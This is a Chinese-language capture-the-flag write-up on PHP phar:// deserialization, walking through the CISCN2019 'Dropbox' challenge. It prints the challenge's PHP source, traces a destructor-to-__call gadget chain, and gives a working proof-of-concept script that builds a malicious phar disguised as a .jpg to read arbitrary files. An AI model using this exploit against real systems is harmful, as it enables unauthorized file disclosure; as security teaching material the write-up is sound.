phar伪协议反序列化

phar伪协议序列化

编写phar反序列化脚本的时候,需要设置php.ini的phar.readonly为Off,并且去掉;,否则无法生成phar反序列化链

phar简介

PHAR(”PHP archive”)是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

文件结构

a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

1

会触发phar伪协议反序列化的函数

既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

img

例子:[CISCN2019 华北赛区 Day1 Web1]Dropbox 1

简单的地方直接跳过,任意文件下载得到网页代码,重点关注这两个文件

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

思路

直接跟着代码逻辑走,由于这里并没有反序列化触发点unserialize(),利用phar://伪协议进行触发反php函数的序列化操作。

image-20221111140410740

Filelist类中在创建时就会创建file类,获取所有上传的文件名,并且创建一个result的数组,该数组的key为文件名(basename获取的是路径中的文件名的一部分,并且会去掉非ASCII码值,如%ff)

image-20221111140302183

_call方法当调用不存在的方法时自动调用它,图中$func和$args是调用不存在方法时的参数,具体看官方文档

image-20221111142704207

第一个参数为调用这个不存在方法的方法名称

第二个参数为调用这个不存在方法的参数数组

image-20221111140302183

回到call方法中,为了能调用该方法,着手点在User类,他有销毁时自动调用的魔术方法 __destruct() {$this->db->close();},当db为FileList类的时候,由于没有close()方法便会调用call方法,此时$this->results[$file->name()][$func] = $file->$func();的result数组一维为文件名,二维为close(),value为File类的调用close()方法的结果(注意FileList类的__construct方法)**

image-20221111144804296

其中file_get_contents可以触发phar反序列化,通过filename得到任意文件读取,但是要输出,唯一输出点在__destruct方法中的htmlentities

image-20221111144952113

而触发__destruct方法在删除会触发,删除时也会进行一次filename的获取,所以可以在此利用phar伪协议。(貌似主页查看的时候也调用了__destruct方法,显示了文件的下载和删除键,但是应该是通过上传时调用basename函数无法写phar伪协议直接利用,本人没有在本地进行测试,太菜了)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class User {
public $db;
}
class File{
public $filename;
}
class FileList
{
private $files;

public function __construct()
{
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);

}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db=new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意这个poc构造好后必须本地环境访问便可以在同一路径获得phar.phar文件,注意php.ini一定一定要进行开头提到的设置!!

image-20221111150817183

然后进行后缀改成jpg进行上传,因为phar伪协议不需要在意文件格式,直接解析为phar格式读取。

然后删除位置修改抓包,完毕。

image-20221111151000585